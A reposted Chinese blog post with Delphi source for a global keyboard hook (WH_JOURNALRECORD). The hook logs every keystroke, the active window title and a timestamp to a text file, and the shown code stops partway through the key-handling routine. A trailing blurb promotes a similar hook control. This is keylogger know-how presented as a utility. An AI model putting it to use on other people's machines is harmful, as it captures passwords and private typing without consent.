Delphi 全局键盘钩子(Exe)

这个Delphi单元主要是把键盘按键保存在堆栈线性队列中,可以在软件界面自己查看按键内容,同时还保存了按键信息在c:\logfiles.txt的文本文件中,方便以后的查看。。。

安装全局钩子函数  KeyLogHook := SetWindowsHookEx(WH_jOURNALRECORD,KeyLogProc,HInstance,0);卸载钩子函数是   UnhookWindowsHookEx(KeyLogHook);

       使用过程中好像有点问题,软件开机自启动的时候,会让Lingoes的启动无法正常启动,提示内存访问错误什么的,有时候莫名其妙钩子会失效,截获不了键盘按键,可能用dll的好点吧。。。

 unit UntHook;

 
interface
Uses windows,Messages,Classes,SysUtils,Dialogs,Variants;
Const
  _KeyPressMask = $80000000;
  Enter = #13#10;
var
  KeyLogHook: HHook = 0;
  HLastFocus: HWnd = 0;
  PrvChar: Char;
  HookList:TStringList;
  hookkey:String;
  hNextHookProc:HHOOk;
    //logtxt:TextFile;
  sFileName:string='c:\logfile.txt';
 
  function KeyLogProc(nCode:Integer;wParam,lParam:longint):LRESULT;stdcall;export;
  function EnableHotKeyHook:Bool;stdcall;export;
 
implementation
uses
  UntMain;
 
function KeyLogProc(nCode:Integer;wParam,lParam:longint):LResult;stdcall;
{Const
  sFileName = 'c:\logfile.txt'; }
 
var
  stream:TextFile;
  ch:Char;
  vKey:Integer;
  HFocus:HWND;
  Title:array[0..255] of Char;
  str:array[0..12] of char;
  stmp,stime:string;
  tfLogFile:TextFile;
  pEvt:^EVENTMSG;
  nCapital,nNumLock,nShift:Integer;
  isshift,isCapital,isNumLock:boolean;
 
begin
  sFileName := FrmMain.EditLogPositon.Text;
  //AssignFile(logtxt,Trim(FrmMain.EditLogPositon.Text));
  if nCode < 0 then
  begin
    Result := CallNextHookEx(KeyLogHook, nCode, wParam, lParam);
    exit;
  end;
  if (nCode = HC_ACTION) then
  begin
    pEvt := Pointer(DWord(lParam));
    AssignFile(Stream,sFileName);
    if not FileExists(sFileName) then
      ReWrite(Stream)
    else
      Append(Stream);
    HFocus := GetActiveWindow;
    if HLastFocus <> HFocus then
    begin
      if hookkey <> '' then
      begin
        HookList.Add(hookkey);
      //  Append(LogTxt);
        WriteLn(stream,hookkey);
        hookkey := '';
      end;
      HookList.Add('------End------');
      WriteLn(stream,'------------结束-------------');
      HookList.Add('------Begin------');
      WriteLn(stream,'------------开始-------------');
  //    close(logtxt);
      GetWindowText(HFocus,Title,256);
      HLastFocus := HFocus;
      sTime := DatetimeToStr(Now);
      HookList.Add(sTime + Format('Title:%s',[Title]));
      WriteLn(Stream,sTime + Format('Title:%s',[Title]));
    end;
 
    if pEvt.message = WM_KEYDOWN then
    begin
      vKey := LOBYTE(pEvt.paramL);
      nShift := GetKeyState($10);
      nCapital := GetKeyState($14);
      nNumLock := GetKeyState($90);
      isShift  := ((nShift and _KeyPressMask)=_KeyPressMask);
      isCapital := ((nCapital and 1) = 1);
      isNumLock := ((nNumLock and 1) =1 );
 
      if ((vKey >=48) and (vKey <=57)) then
      begin
        ch := Char(vKey);
      end

转载于:https://www.cnblogs.com/MaxWoods/archive/2013/06/15/3137118.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
又一个delphi键盘钩子用法及代码,可以截获几乎所有键值,例如:shift ?,ctrl ?,alt ?,F1~F12,shift或者ctrl或者alt F1~F12,单独的 shift、ctrl、alt 键值,特殊键ins、del、caps lock、num lock、小键盘数字 等等,你只要稍作修改,也可以截获 ctrl alt ?等键值,没有截获不到的键值,本程序不使用dll方式,使用常规方式,方便你编译调试修改,支持xp、vista、win7,是最强悍的键盘钩子控件, 在delphi7下通过。   myshiftchar:string;//返回shift状态 例如 ctrl   mypresschar:string;//返回整个键值 例如 ctrl g   dulictrl:string;//返回 ctrl 和 alt 单独状态, =ctrl or =alt   安装方法:   本控件的核心源代码在 unit2   首先 创建调用主窗体,假定是form1,在form1上放一个 memo控件(必须),然后创建一个新单元 如unit2,把我的unit2 单元的源代码全部复制过去,做以下修改,首先确保form1使用 新单元 如unit2,并且unit2也使用form1。   在新单元unit2中 ,找到 函数 function KeyBHkHandle 过程,在其中找到以下两条语句:    // 在这里根据自己的情况修改    form1.Memo1.Lines.Add(mypresschar);   // 在这里根据自己的情况修改    if mypresschar'' then form1.Memo1.Lines.Add(mypresschar);   如果你的调用主窗体就叫form1,则不用修改,否则把这两条语句的form1修改为你的调用主窗体的名字。   在 memo编辑框的onChange事件中编写自己的 键盘消息接受主控制过程,其中 字符串mypresschar 返回总键值,它跟memo编辑框中显示值是一样的 ,例如 g、shift g、ctrl 2、F9、alt F9、 等等,其中 字符串shiftstr 返回 控制键 shift ctrl alt 的状态,例如按下ctrl,则 shiftstr=‘ctrl’ ,否则=''。   最后不要忘记在程序退出时卸载键盘钩子
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值